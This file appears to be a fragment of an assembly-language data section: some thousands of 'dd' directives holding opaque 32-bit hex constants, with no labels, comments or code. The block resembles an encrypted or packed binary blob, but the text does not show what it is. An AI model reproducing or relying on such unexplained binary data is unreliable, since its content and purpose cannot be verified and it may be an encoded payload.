dd 50F8DB5Bh, 494F80E8h, 0A82D7BBDh, 3A886482h, 0B6159064h
dd 0C2F80103h, 590A3E68h, 0B6029512h, 9315F17h, 1BD429FAh
dd 0E2527669h, 7B6AD7E9h, 273617D7h, 76B09D7Ah, 58B798BFh
dd 6457B48Eh, 0B9CEA0DEh, 0DC6C900Ch, 12C0F231h, 5643F608h
dd 8141AE04h, 383651CBh, 0E016B0AFh, 39129FF6h, 3BA1A70h
dd 0E9D787B3h, 14447E8Ah, 2BBDA4B7h, 497A895Eh, 2F9C9631h
dd 102D8A00h, 9D42B37Bh, 0E2034F23h, 0FE97AA30h, 4CCD5FC8h
dd 0FB208ECEh, 6C099D90h, 0D07B4718h, 0F9595E14h, 70AF92DAh
dd 5F77BA52h, 0A640C93Dh, 5A17A4EAh, 7F2DC040h, 0EA226117h
dd 46AA05D1h, 99C70127h, 84267DFFh, 24AADFDCh, 82099470h
dd 987ACDF5h, 572CB905h, 0AB0F1564h, 0F7F9E605h, 748B8D2h
dd 5908B3E7h, 0A0806F64h, 8909B024h, 0C825F79Ah, 8032E705h
dd 256C3D3Ah, 0C75B84E9h, 0F09E3C96h, 29D913FDh, 0D16C0BF9h
dd 4124E380h, 0E9170342h, 0BD76A73h, 0AAE49FBFh, 56F9920Bh
dd 0FE2417Ch, 9A84447h, 0C59C1E4h, 0DB35A66Fh, 14B8010Ah
dd 291F7539h, 24C662C7h, 0B1813AD5h, 2883B21Ch, 67FC16Eh
dd 16291h, 176F4FA4h, 238F281h, 0E9194C12h, 0ECFDE032h
dd 3769A1C5h, 0CFEA8000h, 2DD4203Dh, 0BB78C0C0h, 88441E96h
dd 13A7BE73h, 5E7AA0C8h, 31C323Bh, 706660CBh, 0ED180026h
dd 0E9BEFDE6h, 0E0A8B096h, 1AB55DEEh, 3EE25FAEh, 3009C75Dh
dd 41AD6808h, 0C8B79997h, 0FD1FB096h, 0ABA1D229h, 0A9E7813Ah
dd 0D177C27Dh, 0BE07B5FFh, 124D088Bh, 0AC098213h, 928BCEB1h
dd 2C0F38AEh, 0D2CAFD5Fh, 4E3EA611h, 0D0424AC9h, 882273F9h
dd 0AD003050h, 124A6A05h, 95683D72h, 7D378CDFh, 6034212Dh
dd 61A2CEh, 82052A19h
dd 2D1ED315h, 4201BD12h, 0A0312A0Bh, 0EF805927h, 2FF7E661h
dd 137653E7h, 0E537E985h, 0D3AB71D4h, 0C5EE3ED7h, 7A12A0F0h
dd 4A0039A1h, 1BB366C8h, 7ED3A04Dh, 4E310063h, 8E2C142h
dd 0E0BFDAF7h, 0D7C8A10h, 0C4E90C94h, 0B3E47F64h, 0BA85F25Ah
dd 4C31275Bh, 0C202E9A5h, 0F703EF7Bh, 1DD67ED9h, 0BF6F3F75h
dd 6A3C002h, 0D05F09BDh, 263116DFh, 0AB68014Ah, 0FA0C9974h
dd 2EE781FFh, 4431F577h, 90522A60h, 6B350BFFh, 2C0423CFh
dd 0A0C58703h, 21499066h, 645EF130h, 0A1106420h, 0BC2ECAB1h
dd 59BDC193h, 0FFCAEB43h, 11F31402h, 8E89D47Eh, 0F70E94E3h
dd 50668DAh, 6EF1008Dh, 4EEB8145h, 37B05017h, 3EAE2BDh
dd 4535808h, 69350A66h, 4727EE24h, 51A18ECh, 0F71D186Dh
dd 89F90DDh, 6076DC51h, 71E7CD06h, 1187523h, 0D352C6E5h
dd 7C5DE929h, 0CA01C55Eh, 5B17CFAEh, 2CE96978h, 0C3145FDDh
dd 104E5BD1h, 0BF0289A8h, 696E396Bh, 0A6FF7C61h, 68024903h
dd 0C006FE67h, 3980981Ah, 0D3519001h, 0A424E7F4h, 85964A2Ah
dd 0C2BBE7Eh, 0AE425E18h, 0EE287E69h, 9BFC93Fh, 96CFD48h
dd 9D52C40Ch, 122D7763h, 50368D0h, 205D80Eh, 0FC83E907h
dd 10492EF6h, 0BD26A09Eh, 5E9D979Ch, 8197741Ah, 10F30EFh
dd 0F499212Bh, 52396B98h, 0BDFB527Ah, 4BD9396Ah, 0F3672A99h
dd 0FB25D45Eh, 4B5CAF78h, 7FF2A151h, 30E9DBB0h, 0BD71F612h
dd 23757CD0h, 8C4B69F6h, 0F2571AC8h, 0FDEC5B7Bh, 87BA1214h
dd 79876C5Eh, 0B45008A3h, 1322C509h, 605C8A68h, 2E382AC6h
dd 51273E7Dh, 0B496666h, 919430Bh, 0E5C0F674h, 3B9A08F6h
dd 9358C12Ch, 25B17C10h, 5F02775Fh, 89D19D42h, 683E2427h
dd 9E55DABh, 33F5F6B3h, 7056F926h, 0EF87342Ah, 4BE66BD8h
dd 8999BDF2h, 0EDAF582Dh, 0D575612Ah, 9C786CA8h, 49FC2D4h
dd 71145129h, 0F2ECC4EBh, 152EC42Eh, 4F8EBF00h, 5ABD6C72h
dd 1DD64892h, 9DF0C107h, 0B92BE2Bh, 5F1B5B0h, 50779E2h
dd 0D6324BBAh, 0DB3DE345h, 0FE933BEDh, 0FC39BE04h, 2D12D5E3h
dd 961EB9DEh, 1C31DF54h, 5C805671h, 8EA99305h, 0BBC3FCA3h
dd 6EF32DC3h, 0BB426BA6h, 0FD880147h, 0E94E5C5Bh, 0FBC9AE25h
dd 404E1396h, 6B0BFFFh, 0D6B263DAh, 0F00BC837h, 0B3BEFA24h
dd 6DE98417h, 0F8BBFBB0h, 0B53274Ah, 0F3E8945Eh, 80253619h
dd 5C1B4720h, 0FD004A4Bh, 0E9446460h, 929DA652h, 2DBF1CE6h
dd 0CBF4EA42h, 3DB9319Dh, 3F2793D5h, 0C3C0CAA8h, 1BA45571h
dd 31953498h, 6F12DB5h, 0FD296530h, 4A93E07Eh, 0D8F8F155h
dd 0C49791F8h, 0A8A5FD46h, 0E282EA59h, 96483A68h, 204798ABh
dd 595BFA61h, 0E2D2C1ADh, 5B090597h, 0C1AF0BBAh, 7B323848h
dd 5CAC5BC0h, 681A3867h, 0C3CE11A6h, 0F60EFEA1h, 604EED80h
dd 0EA303BC5h, 8F681759h, 0B66C3018h, 0EB3880FAh, 0BAF33A27h
dd 0F0E98BC3h, 7A3EDC60h, 0EC6FAF7Ch, 9088CD90h, 7D50BDB0h
dd 0FA4AC5F6h, 0FBC600ECh, 0C100264Dh, 830503E0h, 0FA4B577Bh
dd 31234BD3h, 6A5FB0F4h, 0B72BDACCh, 41B5AB80h, 6617E828h
dd 0B8F85A59h, 1046E982h, 1240BFEAh, 1A091CF4h, 0DFB875Ah
dd 0C56F0848h, 0B7910164h, 464C9D7Bh, 0A09D06DCh, 965A8EBCh
dd 0E6810274h, 19F3552Ch, 9A5E30E2h, 25845E2Dh, 36774B48h
dd 5FE13CB7h, 169AB25Ah, 3DBB64FCh, 1F93FCFBh, 33E642A0h
dd 0ED83E6B8h, 1376D01Dh, 34B6CE81h, 3B30668Fh, 0EF3712F3h
dd 6CA6017Eh, 3919D628h, 5E0840E0h, 8AEDE92Ah, 25EE7890h
dd 0D95DDEEDh, 0E84C09A4h, 2C6BAD21h, 0D98F607Dh, 0F1295B2Eh
dd 203D3626h, 686609A1h, 90DD7F50h, 4F305F18h, 1765F2D3h
dd 0AB64BD6h, 4A33BB4Bh, 5A7EB65Ch, 0FB6D345Fh, 2D5550E3h
dd 0EA42342Bh, 0E171A091h, 568109Eh, 0AC2F061Eh, 17110227h
dd 5589B003h, 51754942h, 72E9E17Ch, 6282647Fh, 204C4013h
dd 8FF38C37h, 0BA1E4F2Fh, 4B419E0Fh, 532729F9h, 0A2B82FCBh
dd 9B2EE953h, 0AA43393Eh, 0C359CA0Ch, 0F0178E3Bh, 871214C2h
dd 7820AA7Ah, 62C1BB03h, 9F893EDFh, 12AB75C4h, 688BEEF2h
dd 0B14E8942h, 0B4AD285Bh, 2C56CA88h, 0A8A6CCE9h, 73922665h
dd 97A3B21h, 76FB072Ah, 10D89809h, 0A6447B97h, 0E1D64930h
dd 2029D025h, 81B5D958h, 0A561CF20h, 401A8D20h, 94E687Eh
dd 66DF76ACh, 51BB334Bh, 475FFC2Dh, 0A5072CD3h, 21891AF1h
dd 9ED66D1h, 3935685Ah, 0E9C1E374h, 0EC04A62Ch, 7D14043Fh
dd 0A2BA11DAh, 1FE98300h, 0CFA925DEh, 53679E56h, 9831A390h
dd 27C39862h, 13ACD80h, 0A4789FC1h, 3908FA0Fh, 16E22D6Ch
dd 95DE1EFDh, 222C1BA2h, 0B8664FF7h, 171244CCh, 0B2F1B93Ah
dd 0EDF1555Ch, 3093C581h, 0E53E5D14h, 5F08024Ah, 0BB5788E2h
dd 8B905F6Dh, 51900004h, 2068A0B1h, 82E19148h, 0C1E9CB88h
dd 56279C76h, 4C551EFDh, 6612120Ch, 20E27B6h, 8BAF1679h
dd 5C304AB6h, 0B7E3C9E9h, 9F0914F9h, 72795470h, 35F7ED77h
dd 0EDD9FF4Eh, 1A531364h, 55685B54h, 0C918FD7Eh, 13AAED61h
dd 0AF7C9A56h, 0F0C0272h, 8436E612h, 5C04A9A2h, 9960EA53h
dd 784746C3h, 0CDE9804Fh, 71011535h, 1E5875BDh, 5504C509h
dd 0E98958F3h, 0F7AA220Dh, 0F9AB40DBh, 586C0C73h, 7BBEEB31h
dd 5026F91h, 60D23B7Ah, 0A6786A62h, 9A687ADFh, 5893EABBh
dd 6FB64201h, 35D07095h, 10A35EAh, 0D5294FB7h, 81B02F62h
dd 5C5A12BEh, 1CFC030h, 6D1F2CB6h, 2D00D021h, 1FBC11C8h
dd 50ED000Dh, 84256786h, 56043541h, 0A08EE948h, 0E605F5EDh
dd 0F1E36217h, 6A33210Ch, 0EE887F84h, 0C4680556h, 94CA86Dh
dd 0B0403A9Bh, 256B0805h, 0AD80F552h, 0E20F910Dh, 3309707Ah
dd 1D0B45h, 1A7D6580h, 5AE91471h, 0CD81D863h, 2E43FE74h
dd 79EA3E44h, 67FF32EBh, 0DE9DCFD0h, 0E24D9754h, 0ED522F49h
dd 5DD60C14h, 8909F667h, 0DC529423h, 0B8CE39B8h, 40EEB54Eh
dd 0DD1CED85h, 0FE9838D4h, 0D74B9509h, 53C8FF1Bh, 0BA00292Dh
dd 7B25DC91h, 5569604h, 79FBA105h, 6F17ABE9h, 88B11EBCh
dd 0AF883A02h, 0E0C51726h, 0F82109B1h, 19C23F9h, 0F561182Fh
dd 7109810Ch, 5ADD68D0h, 0ED4A1BBCh, 7AAB0271h, 0FD2987BFh
dd 2295FAC4h, 97D3EAh, 875528B9h, 0C5B82F4Ah, 6905F180h
dd 53B063A5h, 0E718BF13h, 0D4C69A05h, 20A156B8h, 6722AA1h
dd 57C1FFD5h, 408B07F7h, 1772BEADh, 0C4BC759h, 0E90D6E79h
dd 59C0CF77h, 0A26B2FC5h, 8BBA22Ah, 5A2508BAh, 0E8564AE6h
dd 4A80AD2Fh, 2CFC4E8Bh, 81D0ECE9h, 5F5A0984h, 57317553h
dd 5A547CB3h, 502F89BDh, 0EA20B04Eh, 6FB4A079h, 61C60E08h
dd 3BA1E281h, 61E91290h, 82582851h, 7D678768h, 3C2D1D66h
dd 9F25E40Dh, 0BA058150h, 2D6B34B9h, 353CF3C0h, 0FB515DC8h
dd 0BD08C228h, 8909587Bh, 0BD9FC656h, 27A17AC4h, 5E142051h
dd 0F6B1B99h, 18A7E85Eh, 75187042h, 0D1566D1Dh, 0A3260BA0h
dd 0F4628A39h, 42065157h, 0E1DC4D6Eh, 0D1725D85h, 0CAF7E500h
dd 0EC7CE622h, 5E6A07E7h, 0D04712B8h, 0B66B86C7h, 0ACA4194Bh
dd 0CE30BDD3h, 0AD819580h, 60C0AD40h, 0ABF0EBF2h, 1A48BFFFh
dd 0A898333Ah, 264D05F6h, 0E7EB0EC8h, 0F46F8B79h, 9D08A0AEh
dd 1D1326D1h, 0EC45B5A0h, 98FABF63h, 7EA4C72Fh, 98F627B7h
dd 0F7C25C64h, 200FE434h, 801F1CD7h, 0BA8C73C2h, 0BDD3100Eh
dd 0D2F205C8h, 0AAAC0282h
dd 0D30103F1h, 2B41C806h, 0CC103B4Bh, 0B62AE54Ch, 0E6807302h
dd 51C568C7h, 40B382ADh, 75E7DE08h, 0E9CEFE01h, 31A7F9E1h
dd 492F2850h, 957D9B75h, 0D881A5A8h, 980CA837h, 13AE230Ch
dd 92B125E9h, 0DFCE0679h, 88B47FEDh, 44F63280h, 0D70A6225h
dd 0B370B192h, 94394598h, 56972D04h, 68520298h, 81461821h
dd 9DE9DDC2h, 407DA920h, 0A0327432h, 5F40E97Eh, 0E4728D25h
dd 0F9B5380Bh, 34976023h, 0E92646F0h, 0BF81EAB8h, 9E623A4h
dd 0D1E182Ah, 4C97F901h, 397F96EFh, 27A02B17h, 22DB9206h
dd 56C4175Eh, 0FDF00781h, 890FA82Bh, 7E2D2BB9h, 0F98A045Dh
dd 258F9BDh, 2E4498C1h, 17AC870Ah, 0D70D7752h, 882A370h
dd 1568A641h, 741CD001h, 2605BABh, 0C507A3EAh, 0A9C28AC4h
dd 50BEE6B6h, 92C74459h, 36FAA14Bh, 227B332Eh, 86C190F9h
dd 5A66F0C7h, 0B6521208h, 452A148Ah, 0A97DFA27h, 187809Fh
dd 0F672F179h, 41054E96h, 0EC18346Eh, 0C9A13B2Ch, 136FC2F9h
dd 0CEB0FCBh, 25769C1Eh, 976B9E5Dh, 93986848h, 6B065A93h
dd 13F3714Ch, 41451FF7h, 0BB63E184h, 0D11E601Ah, 5742E205h
dd 5EA2AE9h, 0C3C38898h, 69038FE2h, 0F45676E1h, 30C0C06h
dd 2CFEB713h, 91B510BAh, 28FBF547h, 7D8658B8h, 2F3790FAh
dd 68188430h, 27CC683h, 81191F29h, 415B4000h, 1287BA1Eh
dd 443AE4CEh, 0F4A9E973h, 3B4AB402h, 0C606ABCh, 1EC805Fh
dd 0E9122862h, 1C77C4Eh, 0A97EFBBBh, 0CDB47E3Fh, 384F173Ah
dd 895AD80Ah, 862A9941h, 87B0671h, 719DEEE4h, 0B869E9C1h
dd 9DD13A09h, 4D0A1h, 0EE0D02D4h, 4F7DB31Ah, 0E3E0414Fh
dd 74300FB9h, 0B0442ED8h, 6707C866h, 83E8A80Bh, 577D8B31h
dd 0FB280AE5h, 0BDC9092Eh, 0D36FE709h, 98FBB9A8h, 3B2130E4h
dd 647CC157h, 3308C5Ch, 0B51D1C9h, 0E18041Bh, 0C23D17E1h
dd 6801AE0Eh, 55C233CEh, 0FDC91271h, 2FBD584h, 0FFDDF75Eh
dd 87CE0C85h, 3F03594Bh, 81EC35F8h, 398F0B1Dh, 3D4905B9h
dd 0BD0D6823h, 8C310D48h, 0FD66F052h, 2DA0F343h, 3AF1633Ah
dd 66CA6582h, 2E4705AFh, 0FB5F06EBh, 217F1A79h, 3AA128C5h
dd 6809DFA2h, 345F7593h, 0A6E91473h, 0BF07CF06h, 200367F9h
dd 3BC7EF81h, 0C15F0AFEh, 0D605A9F9h, 8033D90Bh, 9A96F7B5h
dd 17235420h, 9CBF19E9h, 32A9EE26h, 4FC334F8h, 26E7C126h
dd 0E591A00Ch, 485EEAC3h, 0EB02A9E1h, 4FEC3C7Ch, 8A09454h
dd 0C1F858B5h, 0EB805CA8h, 775B20FEh, 3E79B780h, 0E702D7F6h
dd 0D3B25249h, 9233E375h, 58C2576Bh, 0FA02AD62h, 9A201FDDh
dd 9819A47Dh, 9FE46B6Ch, 4A2F2901h, 71C2F77h, 44630203h
dd 8AECA4E9h, 0D6056614h, 0A0565F2Fh, 1468F85Bh, 442EFD74h
dd 21A4F52h, 0DC9E8CE9h, 2C219C92h, 0E1C00CADh, 9205F19Ch
dd 5966C828h, 2058999Fh, 20176DC5h, 1B7B94A1h, 742B365Ch
dd 9F3ADA82h, 42174870h, 0E8A02135h, 2DD82829h, 50DCA10Ah
dd 0F431507Eh, 3E111273h, 9616B241h, 520BD1AEh, 0E2EC2B54h
dd 6FFB5AF1h, 7884574Bh, 595AB405h, 9E955B3h, 58431A9Bh
dd 2CAF604Fh, 53694898h, 99C1570Bh, 0A5F3EC54h, 28EC16D7h
dd 34DA6809h, 7D63C67Ch, 0F7FA845Ah, 0C0562744h, 0A4C19AAh
dd 35584B5Eh, 54583C06h, 0BD1CFC20h, 3B561D3Ah, 1668FB0Eh
dd 17F6DAEBh, 85FC3768h, 30428FC2h, 7052335Eh, 62AF9465h
dd 68013047h, 362A790Ch, 38B768A5h, 5B5A540Eh, 0EA4DA151h
dd 0FD1D180Ah, 5560274Ch, 1BB32768h, 57E99AFEh, 0E55DE63Ah
dd 63178963h, 0E5561999h, 2AFA60Eh, 0A9E06BCFh, 0A3F38008h
dd 2C80DEF6h, 1DF8F0EEh, 0EDC165C0h, 53500148h, 28B8027Ah
dd 827F461Ah, 91D9EF5h, 0D8098E8Eh, 2CE0DE0Fh, 4D02847h
dd 0CCE028E9h, 0CB462066h, 9DC55356h, 0D0AE1C13h, 0DBF65BCDh
dd 50E3D012h, 588AEBh, 0F61B0CC7h, 90F70105h, 478062CFh
dd 0C07D5AD0h, 49F26848h, 0D8163A47h, 7319E6CBh, 909DD282h
dd 4BCF165Eh, 0A4FB1D90h, 25082089h, 658277E9h, 0B6FF5758h
dd 5EE93275h, 0C5E131DBh, 2D8C3AE5h, 0C1329554h, 0E951BD80h
dd 669DEB3Ch, 0C67B77D4h, 18CCD7B7h, 53FAB405h, 14C314B3h
dd 51DC80CFh, 3E444CB1h, 106EBB24h, 9CBA0F20h, 0C846A92Ah
dd 94F5EBh, 3B8D49Eh, 0E9EC624Dh, 5AE8D925h, 0D23B79F8h
dd 1B88AE64h, 3B509D57h, 0A6B565Dh, 0D370AC68h, 0CDB55160h
dd 0AFE830E9h, 1005BE16h, 0F4657B2Dh, 58023F1Ch, 0F22995B3h
dd 0D012C740h, 0BF370480h, 0F3199583h, 16AA7658h, 16CD1D6Ch
dd 0D39055CEh, 5D829488h, 1DBE5890h, 30660FBh, 85C21E49h
dd 0FAD2E40Dh, 5BFAC3F1h, 3179CEC2h, 0D7778DEh, 0C973C82Eh
dd 6CA73C50h, 0C6A4CCE0h, 90BDDFB0h, 2F6F658Ch, 25F0448Eh
dd 8654012Fh, 80565092h, 55AD1FBh, 83044DBDh, 43E0BA9Fh
dd 76C5BA36h, 0E34264Eh, 0F6FA4143h, 0B0A56FBEh, 685F6282h
dd 5FC07756h, 62E26B49h, 830BE8B0h, 0D8B93E87h, 0DB9931EAh
dd 30D53050h, 5909EB90h, 5425C968h, 0B753604Dh, 0ECA2880Eh
dd 6CF4C1D5h, 0FEA18BCEh, 28FD406Ah, 7D2DE9D8h, 0F6981084h
dd 0B05026DFh, 135A081Eh, 78DC5E14h, 3F379859h, 90BD17C3h
dd 493ABE3h, 0AF3C230Ah, 40672528h, 0BA0552DAh, 3E214FC1h
dd 1B216AEh, 9103F8B3h, 0A363018h, 2D960D5Ch, 0CE255F41h
dd 2DC8264h, 6D74D5C0h, 0C92C41EFh, 18C839A2h, 10DF06Eh
dd 0B85002CAh, 24EB4D0Eh, 9B524377h, 0A72D98E0h, 94E1E009h
dd 0E95831D0h, 7C31756Fh, 3E68B04Ch, 6935943Dh, 59614F0Fh
dd 2A09E531h, 0F55490Dh, 0CB66E83Bh, 127EE658h, 452CE568h
dd 0BDCDACF3h, 1750D40Ch, 9AC951F9h, 1D15DE1h, 5F38333Ch
dd 0EABAFA3Ah, 7085B93h, 5AE0C07Bh, 20A207FBh, 1B2CC3F8h
dd 1655C6AAh, 9CA420FDh, 37FD8F80h, 0F3DCA84Fh, 6A0213EAh
dd 0C6BD0175h, 2207485Ch, 0EE5D2AE9h, 0DC0B9C90h, 0E0704C12h
dd 0A0C82188h, 9A5C7359h, 34252720h, 109C37F1h, 21781D24h
dd 0C20599F3h, 7CDA4787h, 4CA3C204h, 50EB780Ah, 95A08ACh
dd 0B445046Dh, 0E9E4682Fh, 34D2952Ch, 0E1C5CE4Eh, 43D67404h
dd 3868BF00h, 0F7274F2Ch, 3E25CDFh, 506C2ED1h, 9D4D1250h
dd 60702A13h, 75FC4803h, 80CC657h, 446C2179h, 8C375902h
dd 2753D620h, 0FF258154h, 9D907898h, 0E4094AB3h, 885CF9F3h
dd 963E6C28h, 5EACA533h, 66110A9Eh, 2D238CACh, 788AAC25h
dd 4E07FAE4h, 0C43CA26Dh, 41EFA2E9h, 0F703E8BAh, 0B4D480D8h
dd 0E915F578h, 40414BC6h, 0F213A0C3h, 0B22D6811h, 9981666Ch
dd 864C3AA1h, 0EA295578h, 33F9B06Eh, 2F62EF3Fh, 68EBD9D1h
dd 302C3110h, 0F876B7Ch, 802726Dh, 9F2BDA5Dh, 54A58947h
dd 52E74021h, 0D29F63C3h, 2F7303A9h, 0EF875C1Bh, 0D9A0CD93h
dd 754BADE9h, 2DC0ED41h, 107F16C3h, 526855Ah, 0A8D19D0Bh
dd 0B335018Ah, 0E980F8F2h, 9E403B9Bh, 8BCA232Ch, 0E7C55989h
dd 0F2EF0985h, 0D7F78706h, 60EA618Eh, 0CB96E11h, 0E6D48081h
dd 7A18A3E9h, 0F45354CCh, 0B31B5ECEh, 74FD2FBCh, 16D16B55h
dd 1555770h, 9907BA68h, 3FABE976h, 0D5BE9485h, 9ACBAAC3h
dd 6EDC5C89h, 0B7EAE970h, 2E40C948h, 92F4412h, 0A1687207h
dd 0D3322259h, 9AB501BCh, 0C63A7030h, 0ED6BCC61h, 65F04243h
dd 0C107ECC1h, 285ABAC4h, 17F5FC25h, 60D70A25h, 0B7485336h
dd 45271167h, 6512FD6h
dd 0B9E01248h, 4B993296h, 0F971C762h, 0D0BCBB3h, 6E1565E9h
dd 7F839021h, 0C27520CBh, 964E229Dh, 0C5010289h, 7217A660h
dd 80B44172h, 6E29DA38h, 8D124523h, 0FBB5C462h, 0FAD692F2h
dd 354ECEDBh, 0C5C5BF20h, 0BCBF05EAh, 1375BFC7h, 0CC7A5FFFh
dd 0C2674C7Bh, 5460A6EEh, 2965E3EBh, 0C43604Eh, 2C8A6F5Fh
dd 7009CBF8h, 8E2B9B03h, 0C32DDF6h, 77A46250h, 640F9A90h
dd 0BA172303h, 8E05CFA9h, 30F07EBCh, 210C686Ah, 1D4C252Fh
dd 2DE91718h, 0B60BA2C4h, 0B1387FC7h, 5C0CBCBBh, 764B114Dh
dd 1272FA6Bh, 2DD82917h, 1E136E05h, 0EE9212AAh, 72587295h
dd 244BA09Ch, 47C7070Ah, 4EE48297h, 11F5000Bh, 4003E9B6h
dd 0EC9F5C9Ch, 4D0427B8h, 8CB01B3Ch, 0EAD1FF27h, 0E951382Fh
dd 0BBE85440h, 0E46827DEh, 9EE379E8h, 13005FD6h, 0B77F4508h
dd 2B08A003h, 36B1090Eh, 44F57429h, 420C83CAh, 0E90C1C10h
dd 51529B1Ch, 3CAE6800h, 8159791Eh, 0B5A70C9h, 0F6E9430Ah
dd 0D5F7CC22h, 20FA9269h, 1779D95Eh, 48406809h, 0AE647557h
dd 27CAF095h, 0C3618FE9h, 0D2186B5Fh, 8078D6FCh, 0EB3CC935h
dd 5FBACBAAh, 0E7D7DC0Ch, 302F51D2h, 0FAA95ABBh, 0DE859F7Eh
dd 26DDE431h, 0B9BDDD60h, 7D9580Ch, 0F8BA5248h, 86B7E5A7h
dd 0E25F4628h, 852F36A3h, 0E47752E2h, 6CFA3425h, 419B3412h
dd 8765A1A7h, 2EDE215Dh, 0E9A083F2h, 0EBA919EDh, 17092DEAh
dd 24EEDBCDh, 9E80BB8Dh, 0B07D96C6h, 44E12FEFh, 3020135Ah
dd 0F3810382h, 34ED689Fh, 0C630C01h, 0E5E9AE85h, 0F0CF123Eh
dd 0D1777ABh, 1FBF3B8Bh, 0E849C9F8h, 1BBDB855h, 0B6BEB5C4h
dd 4A28E913h, 39C420FCh, 542DCCCFh, 5E045A4Ch, 0CAAA4B12h
dd 0C48AD5D1h, 3000428Fh, 66D3F6D9h, 0EE8F0EBFh, 0A2CF6E53h
dd 76A5E9FCh, 0D0FC2F89h, 0F4976462h, 0B054F18h, 638158D5h
dd 0BD4D3F7h, 0E1F1025Ah, 75F5EBAAh, 6AF2DF63h, 0A0C5F5AEh
dd 0A88DAEFFh, 0BD63FE08h, 0A1581129h, 114CB7Dh, 5BE6786h
dd 2A333994h, 0AA7717ABh, 1713D912h, 10E05F05h, 626A69AAh
dd 6F348C3Dh, 0EFD1CEB1h, 94CA25E6h, 0F5C5801Ch, 0ED75F539h
dd 0FE1B15BBh, 0E97DE816h, 3E0F602Eh, 230E42BFh, 81525D4Ch
dd 0F81C682Ah, 48A09734h, 0B981EA15h, 2206EA34h, 0C08E1948h
dd 0CE3A311Ch, 3CC4608Eh, 9F051128h, 909246A3h, 0D9F11D0Fh
dd 0F7778738h, 1B64154h, 492F3400h, 13EA810Ah, 1EA46F17h
dd 0CB0F1CBFh, 0BBF359CBh, 0C6840190h, 0B932EA71h, 645FD696h
dd 9C3CFB59h, 160C4B68h, 608BBE15h, 0E9525C02h, 0E7F0CFDCh
dd 1342A8B4h, 0D0300305h, 2C187DB9h, 0AAFB9F30h, 50002BC1h
dd 0CFB716B4h, 1242C780h, 0BD1895E9h, 0F78D9EB4h, 0E4166C9h
dd 0CE62092Ch, 0DF3EEA4h, 0B6995250h, 0CADE2DA5h, 0BB8F9852h
dd 0C64C12C9h, 17D71F47h, 580A4B38h, 0B7DF96D5h, 730C1268h
dd 0BD25FE1Dh, 7EFCAA00h, 0AA17A8E9h, 0DCB8C081h, 735B8187h
dd 3281743Bh, 125BAA6Ch, 0D6C6F828h, 2402CAAAh, 0E8A5710Ah
dd 80E4779Dh, 44536168h, 0E95704AAh, 0FFE47345h, 806D40E3h
dd 9D75C239h, 0EA8948F2h, 0D5158731h, 8B990429h, 55560B0h
dd 567E4D68h, 22C0BE1Bh, 765B1F94h, 0F1C5041Ah, 0EE76C62Ah
dd 4D75F4D0h, 89C92CB0h, 0E2DF39FAh, 39EE108Ch, 6F72813h
dd 10BE3873h, 74C4595Eh, 9D0BC0ECh, 79DC09F8h, 0C1E5EB92h
dd 77F08E02h, 0BE012547h, 2AA44BA2h, 0B67DEC6Eh, 597A095Ah
dd 0CB06053Bh, 0C509FFF3h, 8EFD28BFh, 0C1FBB205h, 3EB5E993h
dd 0E2663F82h, 0ED965F0Ah, 0EFEE918h, 97126824h, 0B0A0FBD1h
dd 9F36EF20h, 2E924EC9h, 2FE9F0CCh, 7DE78037h, 42D92D3Fh
dd 0FAECDF34h, 6A9E3F55h, 0E31A28C0h, 0B0F792BCh, 5E614083h
dd 4565758h, 7A824EDAh, 0F56F40EFh, 41EC0E92h, 74E3E4EDh
dd 9D67FEh, 5CE74780h, 2C1A24Ah, 7584C98Eh, 0F3550CB9h
dd 0C4E4E83h, 0C8977CEDh, 0BB404743h, 916AAEACh, 0F47096Dh
dd 0B327A2C6h, 6EB21826h, 56BF807Ah, 0F8AF5027h, 60024AEEh
dd 0BA54C43Fh, 0D59180BDh, 1240D180h, 0CE8BAFE9h, 3E8F4146h
dd 66406BC7h, 0B5203768h, 0FAD49491h, 974D4A60h, 89B89894h
dd 812F6B2Ch, 6F087BF6h, 4194DEE2h, 29F9BFE9h, 15C9DEE2h
dd 972EFEDBh, 0C838ABD1h, 58E29569h, 0B0F56E57h, 0FBAA5D28h
dd 406E84Bh, 43183203h, 905EAF0h, 1DA9101Bh, 720CFF4h
dd 0B1953AC4h, 5580B900h, 12B81534h, 375FB0Eh, 6BE1C04Ah
dd 0BD025A33h, 51F2FB72h, 72387A17h, 8AF00AF1h, 24F2276Dh
dd 9025197Ah, 3DBEDFEBh, 95AED90h, 0F25475E1h, 0D6FDA6AFh
dd 34F2EA56h, 0D4BE6884h, 3B9DBAE1h, 42EDC16Ah, 0E128024Ch
dd 0C43EB95Dh, 38B139A8h, 0A36BA94Ah, 0DFE982C0h, 94B0712Eh
dd 0F918718Fh, 5D88D9Bh, 2206BD18h, 80085232h, 50BF7004h
dd 97B175B6h, 148B0CC0h, 48F659BDh, 1087CA87h, 0E5301713h
dd 34BA3C1Fh, 46DC0A07h, 57140AEh, 5E1F8D0Eh, 708BA002h
dd 0BD2977C1h, 0A0A96C89h, 0AD9D677Dh, 965D983Ah, 0F76812DEh
dd 84C86128h, 5EF33A0Dh, 84B8A85Ah, 69EBED81h, 0CFF1308Dh
dd 20D34FB7h, 3A1CBD91h, 656D220h, 73C8F4B9h, 10258A1Bh
dd 8FED301h, 3106FE9Ch, 20128FC3h, 829032F5h, 196BC400h
dd 1860BA08h, 0E94612EAh, 0AC3DC46Dh, 43ED07B3h, 30C3545Ch
dd 6E184C0Bh, 6986E502h, 9C607B61h, 4A2D19C6h, 12997806h
dd 0FC2EAD2Bh, 6B390998h, 9D10FD48h, 26126F68h, 4C3935F8h
dd 0B30E7620h, 58650258h, 0F04A61A8h, 0B6800F7h, 0B516EB63h
dd 76976CF8h, 84FD492Fh, 72D18D65h, 0F36FD821h, 3D984AF3h
dd 4060B8F2h, 0DD5CF759h, 0A2812CAh, 0F4D42DFDh, 7BC0432Fh
dd 30B2DADh, 26DD460h, 2D5EC60h, 297E2959h, 0EB30A20Eh
dd 93D7D464h, 0BE9A815Fh, 0D8E12A1Ah, 0F57A1BE9h, 5EB0220Bh
dd 0AE18FBEDh, 4BB6808h, 1A1D521Eh, 5629178Bh, 0E5AAC274h
dd 516193D4h, 0DA72E115h, 31E95F04h, 0C5F1E828h, 92ACE2D1h
dd 7DDB097Fh, 0FC7E0913h, 1660108Eh, 248F8ABBh, 11C5150h
dd 53D2306Dh, 5D7709BBh, 22807A6Ah, 27067BFBh, 3D07E3ECh
dd 0C10E011Fh, 0EBA28169h, 428492FCh, 455B0E9h, 6AA45456h
dd 0F32A4F0Fh, 6D531261h, 0F257D2A3h, 0AD414A24h, 979D9CF5h
dd 51E0CBF6h, 0B0705B9h, 0E6E963D8h, 0E7684922h, 0B689AB56h
